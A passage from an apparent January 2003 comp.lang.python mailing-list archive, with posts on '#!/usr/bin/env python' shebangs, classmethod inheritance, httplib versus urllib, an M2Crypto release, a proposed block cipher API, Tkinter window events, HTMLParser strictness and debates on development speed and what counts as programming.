> in.  But for most people, the 'isinstance()' answer is more informative.
> 
> Yours, Lulu...

Thanks Lulu
Helpful, inventive, readable.

Tony



From pyth at devel.trillke.net  Thu Jan  9 07:20:35 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 9 Jan 2003 13:20:35 +0100
Subject: avoiding long paths to interpreter
In-Reply-To: <3E1CD949.15CD3DCF@alcyone.com>; from max@alcyone.com on Wed, Jan 08, 2003 at 06:07:05PM -0800
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org> <3E1CD949.15CD3DCF@alcyone.com>
Message-ID: <20030109132035.K349@prim.han.de>

Erik Max Francis wrote:
> Mike Meyer wrote:
> 
> > The recommended approach is to use:
> > 
> > #!/usr/bin/env python
> > 
> > which will find python no matter where it is if it's in the users
> > path.
> 
> To be pedantic, you've no guarantee that env will be in /usr/bin
> (although granted that it will be the vast majority of the time).  The
> real wart here is that if you have multiple interpreters installed, say,
> in /usr/bin and /usr/local/bin, then /usr/bin/env picks the python
> that's associated with your PATH. 

Right that's the problem. 

> This can lead to bad surprises if the
> script runs in an interactive shell vs., say, a CGI script or a cron
> job, where the PATHs are almost certain to be far more restrictive,
> particularly if you have a highly customized interactive shell.
> 
> Unfortunately, there's truly no magic bullet here when the script itself
> depends on a certain version of Python.

Probably right, although one could try putting the below into
a file:
------------------------------------------------------------
#!/bin/sh

# find a specific python version you want to use from
# e.g. scanning PATH contents
# but i am far too lazy to write shell scripts now
# so i shortcut :-)
python=/usr/bin/python

$python <<__HERE__

import sys
sys.stdout.write("hello world from python bootstrapping code\n")

__HERE__
------------------------------------------------------------

Of course you have to find a reasonable subset of shell-commands
which is beyond me today :-)

regards,

    holger




From steve at pSoPgAgMle.org  Wed Jan 15 04:42:43 2003
From: steve at pSoPgAgMle.org (Steve Hunt)
Date: Wed, 15 Jan 2003 09:42:43 -0000
Subject: references / aliases in Python follow-up
References: <f57664b9.0301141617.5dee7839@posting.google.com>
Message-ID: <1042623665.73472.0@damia.uk.clara.net>

> Seems clean enough at first glance, but the python gurus here
> might be able to point out pitfalls.

The pitfall is that references and aliases are a major source of
bugs in other programming languages.

-- Steve






From martin at v.loewis.de  Thu Jan 16 05:25:37 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 16 Jan 2003 11:25:37 +0100
Subject: classmethod() not inherited?
References: <mailman.1042710569.22446.python-list@python.org>
Message-ID: <m38yxl8k7y.fsf@mira.informatik.hu-berlin.de>

Jack Diederich <jack at performancedrivers.com> writes:

> How is it possible to have classmethods still be
> classmethods in their kids?

As you found out, you have to explicitly generate class methods,
again.

> I'd like to have ALL of the derivitives of Base
> have foo as a classmethod, but it doesn't seem
> to be automatic and the following doesn't work
> 
> import Test
> 
> for (Test.A .. Test.Z): # pseudo code
>   Test.A.foo = classmethod(Test.A.foo)

This doesn't work because the classmethod builtin does not really
accept method objects. It would work if you write either

  Test.A.foo = classmethod(Test.A.foo.im_func)

or

  Test.A.foo = classmethod(Test.A.__dict__['foo'])

I readily admit that both constructs are hacks that make unacceptable
use of implementation details :-)

However, you may reconsider your need to redefine the class method in
every subclass. The whole point of class methods is that they get the
class as argument, which, in many cases, can help to avoid
redefinitions, e.g. in

class Person:
  minage = 0
  maxage = 100
  def span(self):
    return self.maxage-self.minage
  span=classmethod(span)

class Child:
  maxage = 18

class Adult:
  minage = 18

Now, the .span method works fine for all three classes.

HTH,
Martin




From max at alcyone.com  Wed Jan  8 21:07:05 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 08 Jan 2003 18:07:05 -0800
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org>
Message-ID: <3E1CD949.15CD3DCF@alcyone.com>

Mike Meyer wrote:

> The recommended approach is to use:
> 
> #!/usr/bin/env python
> 
> which will find python no matter where it is if it's in the users
> path.

To be pedantic, you've no guarantee that env will be in /usr/bin
(although granted that it will be the vast majority of the time).  The
real wart here is that if you have multiple interpreters installed, say,
in /usr/bin and /usr/local/bin, then /usr/bin/env picks the python
that's associated with your PATH.  This can lead to bad surprises if the
script runs in an interactive shell vs., say, a CGI script or a cron
job, where the PATHs are almost certain to be far more restrictive,
particularly if you have a highly customized interactive shell.

Unfortunately, there's truly no magic bullet here when the script itself
depends on a certain version of Python.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Strange is our situation here upon earth.
\__/ Albert Einstein
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From ngps at netmemetic.com  Tue Jan  7 19:31:38 2003
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 8 Jan 2003 00:31:38 GMT
Subject: [Announce] M2Crypto 0.09 and Win32 binaries
Message-ID: <avfrha$pou$2@mawar.singnet.com.sg>

Hi,
 
M2Crypto 0.09 is now available:
 
- Now bundles the correct version of ZServer/__init__.py, so ZServerSSL
  should really work for Zope 2.6.0. ;-)  
 
- Fixed xmlrpc-over-https for Python 2.2.2. (Apparently it works for Python
  2.2.1.) Thanks to prashanth for patches.
 
- Win32 binaries for Pythons 1.5.2, 2.1.3 and 2.2.2. The 2.1.3 binary
  tested successfully with a binary distribution of Zope 2.6.0. Thanks to
  Adam Karpierz for the binaries and patches.
 
- Also contributed by Adam Karpierz: Win32 binaries for OpenSSL 0.9.6h.
 
Cheers.
 
-- 
Ng Pheng Siong <ngps at netmemetic.com> * http://www.netmemetic.com




From yaipa at yahoo.com  Thu Jan 23 01:00:18 2003
From: yaipa at yahoo.com (yaipa h.)
Date: 22 Jan 2003 22:00:18 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com>
Message-ID: <6e07b825.0301222200.522fbbde@posting.google.com>

All,

I have a rather practical, boring solution to this concern. 

Mentor someone, write a paper, present Python to your working group.
Get a little religion and go preach the word. If you haven't made an
honest effort to turn someone on to Python in the last six months don't
bitch if your programming Perl, et.al.

yaipa



"Greg Brunet" <gbrunet at nospamsempersoft.com> wrote in message news:<v2rhpd4d6p8f79 at corp.supernews.com>...
> Just as a point of information, I was reading this article about Java
> and the recent ruling that MS must include it in Windows & .NET
> (http://www.salon.com/tech/feature/2003/01/21/java/print.html). It
> had a link to this site (http://www.tiobe.com/tpci.htm) which ranks
> Python as a "B" status language with declining popularity.
> 
> There's only a general discussion of their methodology, and I'm not
> arguing that one should choose a language solely because of it's
> popularity or rate of increase/decrease (and what's up with RPG having
> the second fastest growth rate!?!).  Still, it's it provides another
> viewpoint on 'the language wars'.
> 
> For my own (very unscientific) study, I did a simple search on the
> following in the Chicago Tribune's on-line ads:
> 
> c#    7
> c++    - search engine can't handle it ;)
> java    62
> PERL    12
> Python    2
> Visual Basic    45



From abelikov72 at hotmail.com  Tue Jan  7 01:57:19 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Tue, 07 Jan 2003 06:57:19 GMT
Subject: Simple httplib problem
References: <hs5k1vklegrthn41c3krdv8g8g1s8edfc5@4ax.com> <nv9k1vc80mfaj3bhq96864f5gsoa5pcp0t@4ax.com> <7xy95xzpmh.fsf@ruckus.brouhaha.com>
Message-ID: <gluk1v4agqii8o4hl3nhtk2krv202qgb06@4ax.com>

On 06 Jan 2003 17:59:34 -0800, Paul Rubin
<phr-n2002b at NOSPAMnightsong.com> wrote:

>Afanasiy <abelikov72 at hotmail.com> writes:
>> The second connection needs to have it's own HTTPConnection object.
>> I was just a confused about using this module it seems. The documenation
>> I have from ActiveState's Windows distribution seems fairly lacking in
>> most aspects. Is there something better?
>
>Why don't you use urllib, which takes care of a lot of this stuff for you?

Doesn't urllib use httplib? Doesn't urllib hide the more advanced, and
in this case necessary, features of httplib? Specifically headers...?

If not, how would my ~12 lines of code look if they used urllib?



From amk at amk.ca  Wed Jan 29 08:44:46 2003
From: amk at amk.ca (A.M. Kuchling)
Date: Wed, 29 Jan 2003 07:44:46 -0600
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <3E376CB6.D4A32AF2@alcyone.com> <7xbs208p11.fsf@ruckus.brouhaha.com> <3E377509.6376A031@alcyone.com> <7xsmvcl9gs.fsf@ruckus.brouhaha.com> <3E378028.3FA9B988@alcyone.com>
Message-ID: <AJWcnU371OJTR6qjXTWcoQ@speakeasy.net>

On Tue, 28 Jan 2003 23:18:00 -0800, 
	Erik Max Francis <max at alcyone.com> wrote:
> Why is it going around circles to revise the PEP that concerns this very
> subject, fulfilling the very role for which PEPs were introduced?

Note that PEP 272 is Informational, so it carries the same weight as an
informational RFC: very little.  It means, "someone did this work and
thought it worth writing up." The DB-API is also specified as an
informational PEP, and there's no implication that a DB-API implementation
is going into the Python core.  So PEP 272 specifies a proposed interface
for block ciphers; implementors of other modules are free to follow it or
ignore it as they see fit.

--amk                                                    (www.amk.ca)
Be vewy, vewy quiet. We're hunting Wippers.
      -- Alan Moore, in "Dance of the Gull-Catchers" in FROM HELL



From mhammond at skippinet.com.au  Wed Jan  8 18:20:43 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Wed, 08 Jan 2003 23:20:43 GMT
Subject: where to find win32 com <type 'time'>
In-Reply-To: <avhrt1$lc3$1@sass2141.sandia.gov>
References: <avhrt1$lc3$1@sass2141.sandia.gov>
Message-ID: <fn2T9.15813$oS1.63821@news-server.bigpond.net.au>

news.sandia.gov wrote:
> I'm using the win32com extensions for Python to query a database with 
> time columns in it.  When I get a result, I want to be able to identify 
> if the type of the value is (specifically if it's a 'time' type).  
> Currently, I'm using the string returned by the representation of the 
> type, but I'd rather use the object itself if possible.
>  
> # example
> import win32com.client
> conn = win32com.client.Dispatch( 'ADODB.Connection' )
> conn.Open( <ODBCNAME> )
> rst, res = conn.Execute( <QUERY> )
> values = rst.GetRows( -1, 0, 0 )[0] # get the first column as a sequence
> for value in values:
>   if repr( type( value ) ) == "<type 'time'>":
>     pass # do something with the time value
>  
> My motivation for doing this is I have a generic class that is 
> responsible for manipulating the data regardless of type, but at some 
> point it has to know the type to properly manituplate it.  I don't know 
> how to refer to the <type 'time'> object, however to compare it with the 
> type( value ).

 >>> pywintypes.TimeType
<type 'time'>

Mark.




From jepler at unpythonic.net  Mon Jan 20 12:15:35 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 20 Jan 2003 11:15:35 -0600
Subject: iconify/deiconify catches in Tkinter
In-Reply-To: <v1rsam1ee4sv0d@corp.supernews.com>
References: <mailman.1042010114.13709.python-list@python.org> <avhtku$v7d$1@news1.tilbu1.nb.home.nl> <avjfhr$k99$1@news-reader11.wanadoo.fr> <v1rsam1ee4sv0d@corp.supernews.com>
Message-ID: <20030120171534.GF7736@unpythonic.net>

On Thu, Jan 09, 2003 at 10:01:58PM -0000, Cameron Laird wrote:
> No time now to tell full story.  Briefly, bind to
> <Unmap> for iconify, and for maximize ... ummmm,
> someone will have to get back to you.

Except possibly on Windows with some versions of Tk, Tk can't tell the
difference between a Maximize and any other resize.

Bind the <Configure> event on . to respond to window size changes.  On
Windows only, you can check for .wm_state() == "zoomed" to find out if
your window is maximzed.

It may be possible to find whether a window is maximized in X with an
ICCCM-compliant window manager, but probably not with unmodified Tk.
I know that you can, with some success, ask the window manager to
maximize a window (rather than trying to guess how to set the geometry).
You're likely to work on only a subset of window managers and you may
not be able to do it without writing C code.

"Your" window will see a PropertyNotify event, but binding <Property>
appears not to work.  This is probably because the so-called Toplevel is
actually wrapped by another window which contains the Toplevel and its
menubar, and the PropertyNotify event is not being propagated from the
wrapper window.  This is unfortunate.  xev clearly shows the related
events under my window manager:
    PropertyNotify event, serial 26, synthetic NO, window 0x2600001,
        atom 0x114 (_WIN_STATE), time 3700616417, state PropertyNewValue

    PropertyNotify event, serial 26, synthetic NO, window 0x2600001,
        atom 0x6b (WM_STATE), time 3700616417, state PropertyNewValue

    PropertyNotify event, serial 26, synthetic NO, window 0x2600001,
        atom 0x114 (_WIN_STATE), time 3700616424, state PropertyNewValue

    PropertyNotify event, serial 26, synthetic NO, window 0x2600001,
        atom 0x6b (WM_STATE), time 3700616424, state PropertyNewValue
but a Toplevel's binding on <Property> doesn't seem to work.

Jeff




From macquigg at cadence.com  Thu Jan  2 15:14:21 2003
From: macquigg at cadence.com (David MacQuigg)
Date: Thu, 2 Jan 2003 12:14:21 -0800
Subject: New file utility for shutil - linktree.py
Message-ID: <9A77785A255522459FDD2D24C94B27D19DE7BD@exmbx02sj.cadence.com>

Bjorn,

Thanks for your thoughtful comments on this proposal.

> Since Win* doesn't have symlinks it wouldn't do much for me 
> <wink>.

Ouch! It's been so long since I've done anything in the M$ world, this didn't even occur to me.  It does lower the value of having a 'linktree' function when links don't exist :>)  Perhaps this new function doesn't deserve a place in the general for-all-users library.  On the other hand, links are such a useful tool, maybe we should pop a message "Sorry, links are not supported on your platform. Try Linux :>)  I think eventually M$ will support Linux, or at least add all of its useful functionality. :>)

Good suggestions on import * and printing messages.  In the next rev, I'll follow the style of distutils, and raise exceptions instead of print messages.

- Dave

> -----Original Message-----
> From: Bjorn Pettersen [mailto:BPettersen at narex.com]
> Sent: Monday, December 30, 2002 1:34 PM
> To: David MacQuigg; python-list at python.org
> Subject: RE: New file utility for shutil - linktree.py
> 
> 
> > From: David MacQuigg [mailto:macquigg at cadence.com] 
> > 
> > I need a 'linktree' utility to create a "mock hierarchy" for 
> > testing patches to our mongo software distributions (~2GB, 
> 
> [...]
> > I decided to extend the 'os.path.exists' function, adding an 
> > optional argument to specify *exactly* what you want tested.  
> 
> I like the idea, but not the implementation. If you need that
> functionality _I_ would definitely prefer to have a separate and
> appropriately named function in os.path. This issue is 
> orthogonal to the
> rest of your proposal, so I would suggest submitting a patch for this
> first (judging from history, I'd suggest you accompany it with a
> thorough explanation of why you can't do it with the existing 
> machinery
> <wink>).
> 
> [...]
> > My questions for this group are:
> > 1) Is 'linktree' or something like it generally useful, or 
> > too specialized for inclusion in the Python distribution?
> 
> Since Win* doesn't have symlinks it wouldn't do much for me 
> <wink>. I'll
> let others decide if it's generally useful on *nix... If you can't get
> it in shutil, you might be able to get it in tools/scripts (don't know
> what the entry criteria are there, but they seem relatively 
> liberal ;-)
> 
> > 3) Can you think of any improvements?  Other applications I 
> > should consider?
> 
> The only code-nit you're going to run into is that "from 
> os.path import
> *" is a definite no-no (fully qualify your names). Oh, and I wouldn't
> expect a library call to print anything since I might not have a
> console...
> 
> Good luck.
> 
> -- bjorn
> 




From gmuller at worldonline.nl  Thu Jan 23 15:51:53 2003
From: gmuller at worldonline.nl (GerritM)
Date: Thu, 23 Jan 2003 21:51:53 +0100
Subject: Python magazine(s)?
References: <tdMX9.440$0L3.172774@news2.news.adelphia.net> <mailman.1043305901.23880.python-list@python.org>
Message-ID: <b0pkpn$9ft$1@reader1.tiscali.nl>

"Kendall Clark" <kendall at monkeyfist.com> schreef in bericht
news:mailman.1043305901.23880.python-list at python.org...
> On Thu, Jan 23, 2003 at 06:46:49AM +0000, Robert Oschler wrote:
> > I know there some e-zines but what, no Python magazine?  I don't see any
at
> > my favorite bookstore.  Grab the pitch forks and the angry mob!
>
> The closest thing is Py, the print journal for Python developers (of which
I
> am the proud Managing Editor, FYI). We're not on glossy paper or newstands
> (yet), but it's an actual, honest-to-god print publication, which you can
> learn more about by visiting
>
>      http://pyzine.com/
>
<..snip...>

> Kendall Clark
> --
> Jazz is only what you are. -- Louis Armstrong
>
pyzine is a very nice initiative, quality of number 1 was great. From Europe
it is somewhat difficult to order and pay, which delayed my order for nr 2
and 3.

In earlier discussions I favored a price increase. Apparantly more people
did, the price did increase very significant. What I don't understand is the
additional price increase for Europe, I don't believe that the
transportation cost is that much more expensive (USA price=12$, Europe =22$
per issue, or 40$ vs 75$ for 4 issues).

regards Gerrit
--
www.extra.research.philips.com/natlab/sysarch/






From Mongryong at sympatico.ca  Tue Jan 28 20:39:26 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 28 Jan 2003 20:39:26 -0500
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <200301290028.h0T0SJjL023634@ratthing-b246.strakt.com>
References: <3e36d04e_2@news.vo.lu>
	<T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk>  
	<200301290028.h0T0SJjL023634@ratthing-b246.strakt.com>
Message-ID: <1043804366.7276.94.camel@refugeeMedia>

Does the language really matter?  If you have a poor design, and your
team consists of hackers, it really doesn't matter what language you
use, it'll eventually end up a big mess.  

You're knowledge of good software design doesn't change simply by
changing the language you use!  It's the bad programmers that give
languages with good intentions a bad name. You can find lots of examples
of Python code that is just as bad or worst than some that you can find
in other languages.

Two people can write different code to do the same thing.  Which is
better?  The code that was written the fastest or the one that took the
time to do a great design such that it is easier to maintain and extend?

Personally, if I don't have a good understanding of the problem domain
for a project I'm working on, I wouldn't want to use a language like C
or C++ the first-time around.  Python is great for this because it
allows me to understand the problem and to figure out what design
approaches will work.  As others have stated, it lets you concentrate on
the problem.  Similarly, graphic tools and RAD-IDES are great if you
know what you're doing.  

In conclusion, the tools are only as good as the people who use them :)





From peter at engcorp.com  Fri Jan  3 09:31:34 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Jan 2003 09:31:34 -0500
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <pcn2va.go3.ln@beastie.ix.netcom.com> <3E150202.4CB9A9B2@engcorp.com> <x77kdm98f8.fsf@guru.mired.org>
Message-ID: <3E159EC6.CC98EB08@engcorp.com>

Mike Meyer wrote:
> 
> Peter Hansen <peter at engcorp.com> writes:
> > Dennis Lee Bieber wrote:
> > > eltronic at juno.com fed this fish to the penguins on Thursday 02 January
> > > 2003 03:34 pm:
> > > > HTML is a programming language, why else would I have to debug it?
> > >         Then news posts and email are programming languages too, as I have to
> > > debug (spell-check) them <G>
> >
> > I see the grin, but note that this is exactly why those
> > are *not* programming languages, while HTML definitely is.
> > If you write the wrong HTML, the computer does not do what it is
> > supposed to do, while if you put the wrong content in your email
> > or news post, only humans mind.
> 
> Now you're defining a programming language as something written while
> programming, and programming as a process that includes debugging.
> 
> Which means that the secretary using word to whip up HTML isn't
> programming, because he doesn't debug it. 

That may be the best definition right there.  If you don't ever 
need or have the chance to debug it, you probably aren't doing
programming.  In other words, once a programming environment has
reached the stage where you just select behaviour and it is 
guaranteed to work, you probably aren't programming.

My VCR (well, I don't own one, nor a TV, but bear with me here :-) is
supposed to be simple enough to set up, but I definitely have to "debug"
it when I "program" it.  Sometimes I will actually set it up to record
a program a few minutes from now, just to make sure I know what I'm
doing.  On the other hand, there are these new-fangled gadgets that
let you just enter a code in the TV guide and it will record the 
selected show at the right time and duration.  Easy as pie.  Not 
really programming.

Entering content into Word and getting HTML out?  Not programming 
either.  I would agree.  I might adjust what I type to be more presentable
to a human, but I generally don't worry about what the computer might
think at this point.

Using an advanced, yet-to-be-invented environment where I can select
features from a GUI and a Python program is automatically generated,
complete with all necessary support functions, linked together, 
packaged, installed and ready for use on a machine?  Hardly programming,
although clearly Python is a programming language.

So what's the conclusion?  To me, it's that *programming* is something
a person does when they are instructing a computer how to carry out a
task and there is uncertainty about the approach (and therefore a need
to debug).

Doing work as in your secretary example, or mine with my advanced Python 
auto-generator (I call it "autocoding" :-), that *happens* to involve
a programming language is *not* programming if it doesn't involve the
same uncertainty as to the specific instructions to be used.

Typing into a document that ends up as a PDF is not programming by 
any stretch of the imagination.  Yet the data is stored in the form
of Postscript instructions!  That's a programming language, right?

Okay, I think that describes my view now.  Maybe others have a differing
one.

> Personally, I think that insisting that programming languages be
> turing complete is a better definition, because it captures the
> essence of what programming is. I'm quite happy saying that any
> language that isn't turing complete isn't a programming language.

That's another definition and, as it's clearly more constraining,
possibly a more useful one.  It's not widely used, however, as far 
as I can see, whereas mine seems to capture the meaning of the term
"programming" a little better.

-Peter



From bdeck at lycos.co.uk  Thu Jan  9 19:42:08 2003
From: bdeck at lycos.co.uk (deckerben)
Date: Fri, 10 Jan 2003 01:42:08 +0100
Subject: import unknown module name
Message-ID: <3e1e165c$0$3013$9b622d9e@news.freenet.de>

Hello,


I did some looking but I haven't been able to find an example how to import
an unknown encoding from 'encodings'.

I tried something like this:

def to_uni(instring, oldpage):
    # print instring, oldpage, "\n"
    try:
        pagename = "encodings." + oldpage
        charset = __import__(pagename)
        codepage = charset
    except:
        print "ERROR s2code.to_uni:", oldpage, "codepage not in
encodings.\n"
        return


But it just returns "encodings".

Any advice?

Ben





From lac at strakt.com  Fri Jan 31 01:14:34 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 31 Jan 2003 07:14:34 +0100
Subject: Python vs. C++ Builder - speed of development 
In-Reply-To: Message from anamax@earthlink.net (Andy Freeman) 
   of "30 Jan 2003 21:40:40 PST." <8bbd9ac3.0301302140.6938685c@posting.google.com> 
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <8bbd9ac3.0301302140.6938685c@posting.google.com> 
Message-ID: <200301310614.h0V6EYjL004209@ratthing-b246.strakt.com>

 "Brandon Van Every" <vanevery at 3DProgrammer.com> wrote in message news:<a2h_9. 5383$Wu1.411649 at newsread1.prod.itd.earthlink.net>...
> My contention is, if your approach is incremental and architectural, Python
> does not offer any amazing payoff over C++.  Python only gives you a big
> value add when you're trying to be more spontaneous.

The point that some of us were trying to make is that developing in
C++ is _slow_.  Now it may be that your heavy-duty graphics primatives
really do have to run like a bat out of hell.  Thus, poor you, you so
need fast code running speed that it is worth it for you to put up
with slower code development speed.

Here is Paul Graham making the same point, but saying that it was
Lisp that made him productive.  He thinks that it made him more
productive than Python would have, and that Python would make you
more productive than C++.

http://lib1.store.vip.sc5.yahoo.com/lib/paulgraham/sec.txt

And here he is again, 

http://lib1.store.vip.sc5.yahoo.com/lib/paulgraham/bbnexcerpts.txt

swearing that it is because his approach is incremental and architectural
(well suited to Lisp because this is the way Lisp programmers
have been programming for 30 years) that he ran rings around his
competitors.

Laura




From mertz at gnosis.cx  Tue Jan 28 23:53:03 2003
From: mertz at gnosis.cx (David Mertz, Ph.D.)
Date: Tue, 28 Jan 2003 23:53:03 -0500
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com>
 <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com>
 <mailman.1043791529.1041.python-list@python.org>
 <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com>
 <7x1y2wzpr0.fsf@ruckus.brouhaha.com>
Message-ID: <v41N+kKkXQ3B092yn@gnosis.cx>                

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> wrote previously:
|There's no PEP for the existing rotor module, for example.  A PEP for
|this seems to me like overkill.

The rotor module existed before the PEP process did.  If someone wanted
to introduce rotor today as a new addition, I would strongly advocate
that it not be added without a prior PEP.

|Anyway, so far at least, the actual crypto application developers who
|have looked at this module have either said it looks fine or else have
|suggested minor changes which are easy to incorporate.

Ahhh... minor changes!  Exactly why a PEP (or a revision of an existing
one) is necessary.  I am sure you are confident of the quality of your
code; in fact, there really *is not* a lot to go wrong with adding
cipher modes.  But sudden introductions of new APIs is not what makes
Python so good... careful consideration of features is.

|But such a delay means that useful, real-world applications that need
|the module will take longer to become widely deployable, etc.

Nope.  It means that real-world applications that want to utilize the
module will need to include it in their distribution archive.  That's
all.  A few extra bytes to distribute.

--
---[ to our friends at TLAs (spread the word) ]--------------------------
Echelon North Korea Nazi cracking spy smuggle Columbia fissionable Stego
White Water strategic Clinton Delta Force militia TEMPEST Libya Mossad
---[ Postmodern Enterprises <mertz at gnosis.cx> ]--------------------------





From rwest2 at opti.cgi.net  Thu Jan  2 16:04:27 2003
From: rwest2 at opti.cgi.net (Richard West)
Date: Thu, 02 Jan 2003 21:04:27 GMT
Subject: HTMLParser and Quotes
References: <qpj71v0as06msdmoj6nep17dptnvtqlml6@4ax.com> <av1bne$jho@newton.cc.rl.ac.uk>
Message-ID: <gi991vo4h6n7n64c6firtsgmb3s57gu903@4ax.com>

On Thu, 2 Jan 2003 12:35:57 -0000, "Richard Brodie"
<R.Brodie at rl.ac.uk> wrote:

>
>"Richard West" <rwest2 at opti.cgi.net> wrote in message
>news:qpj71v0as06msdmoj6nep17dptnvtqlml6 at 4ax.com...
>
>> The face should obviously have quotes around its value, but under the
>> circumstances I would think HTMLParser should take anything up until
>> the next space or end of the tag as its value.
>
>HTMLParser is a fairly straightforward parser: it mostly follows the SGML
>syntax rules. That means that it is of little use for most of the HTML out on
>the web. Whilst an DWIM parser might be useful, it could get out of hand,
>and I'm fairly happy that the standard library one stops on the first error.
>In a few years the XML ones will error anyway.
>


Well, standards compliance is nice, but a non-strict mode would be
extremely helpful in this not-so-perfect world.  I'm putting together
a home grown spam filter and the unfortunate truth that I'm finding is
that Outlook Express does not always generate standards compliant html
emails.  And the web at large does not look much rosier.  I wish I
could say that pointing at standards and proclaiming
it's-not-our-fault does us good, but all I can see is how this
diminishes the value of an otherwise fine part of our beloved
language.

-Richard








From clifford.wells at attbi.com  Sat Jan  4 16:44:34 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 04 Jan 2003 13:44:34 -0800
Subject: new years resolutions
In-Reply-To: <200301042118.h04LIojL016758@ratthing-b246.strakt.com>
References: <mailman.1041550805.3550.python-list@python.org>
	 <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com>
	 <mailman.1041641110.13072.python-list@python.org>
	 <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk>
	 <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03>
	 <200301041905.h04J5njL016319@ratthing-b246.strakt.com>
	 <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03>
	 <200301042118.h04LIojL016758@ratthing-b246.strakt.com>
Message-ID: <1041716674.6001.136.camel@x1-6-00-04-5a-64-c4-03>

On Sat, 2003-01-04 at 13:18, Laura Creighton wrote:

> Some basic tendancy in me to generalise causes me to suspect that this
> places me alongside everybody else ...

There you go, generalizing again ;)

> 
> > Anyway, my rather arbitrary division (perhaps mis-equated) was useful
> > for making a particular point.
> 
> Yes, but my life would have run an awful lot easier if I had understood
> when accepted to both Science and Engineering schools, that the fact
> that I like building things was significant.  I suppose I was expected
> to figure this one out for myself, but I didn't ...

I'm sorry I ruined your life <wink>.  I sometimes forget the power of
the Internet.

> <snip>
> > 
> > >From my own experience, it isn't so cut-and-dried as far as type of
> > personality.  I tend to dislike applied mathematics (preferring pure
> > theory), but get bored by CS theory, preferring actual applications.  
> > But then I spend all day on the 'net and don't get anything done anyway
> > ;)
> 
> Nothing wrong with simply loving mathematics for its own sake in my
> book ...  but it is tough to teach an algorithm class when you are
> convinced that you are the only person in there who wouldn't rather
> be _anywhere_ else.

Cheer up.  It's not the material that's boring, it's probably just you,
so there's still hope for future generations <big wink!>

> And a friend of mine, who was asked to fill in for a professor who
> was away at a conference for an algorithm course, had this interesting
> experience.  When he got to class, he discovered that, due to some
> sort of miscommunication, the class he had prepared had already been
> taught by the absent professor.  The students were expecting to hear 
> a lecture about some other algorithm which he didn't know very well
> and was in no position to teach.  He said 'ooops'.
> 
> But, rallying for the occasion, he decided that if he couldn't teach
> what the students wanted, and it was pointless to teach what they
> already had studied, he would give them 'what he thought they should
> know which isn't on any course'.  And he taught them 'how to write a
> unit test', with emphasis on 'write the test first, and the code
> second'.  Come term end, guess what class was rated as the best for
> that course?  It is not computer science, but it is still something
> worth learning ....

I've had classes where we finished the material early, so the instructor
just kind of winged it and explained a lot of stuff that we normally
wouldn't have seen for a couple more terms (or at all).  Most
interesting part of the class, and better yet, it gave a sort of
direction to some of the abstract things we had learned.  I suspect I
did better on the tests (which didn't cover this material) as a result
of this.

-- 
Cliff Wells <clifford.wells at attbi.com>





From exarkun at intarweb.us  Fri Jan 24 14:09:40 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 14:09:40 -0500
Subject: killing thread ?
In-Reply-To: <7xd6mme5dn.fsf@ruckus.brouhaha.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <mailman.1043424035.17589.python-list@python.org> <7xisweedcd.fsf@ruckus.brouhaha.com> <3E3188BF.3C39D8CA@engcorp.com> <7xd6mme5dn.fsf@ruckus.brouhaha.com>
Message-ID: <20030124190940.GC15790@meson.dyndns.org>

On Fri, Jan 24, 2003 at 11:04:36AM -0800, Paul Rubin wrote:
> Peter Hansen <peter at engcorp.com> writes:
> > It's not a question of right or wrong: Python was intended to be very
> > cross-platform, as opposed to many other languages which try to provide
> > support for every nuance of every different platform which results in a 
> > situation in which programs are absolutely *not* cross-platform because
> > even relatively simple programs, e.g. those using threads, cannot run
> > the same on more than one supported platform.
> 
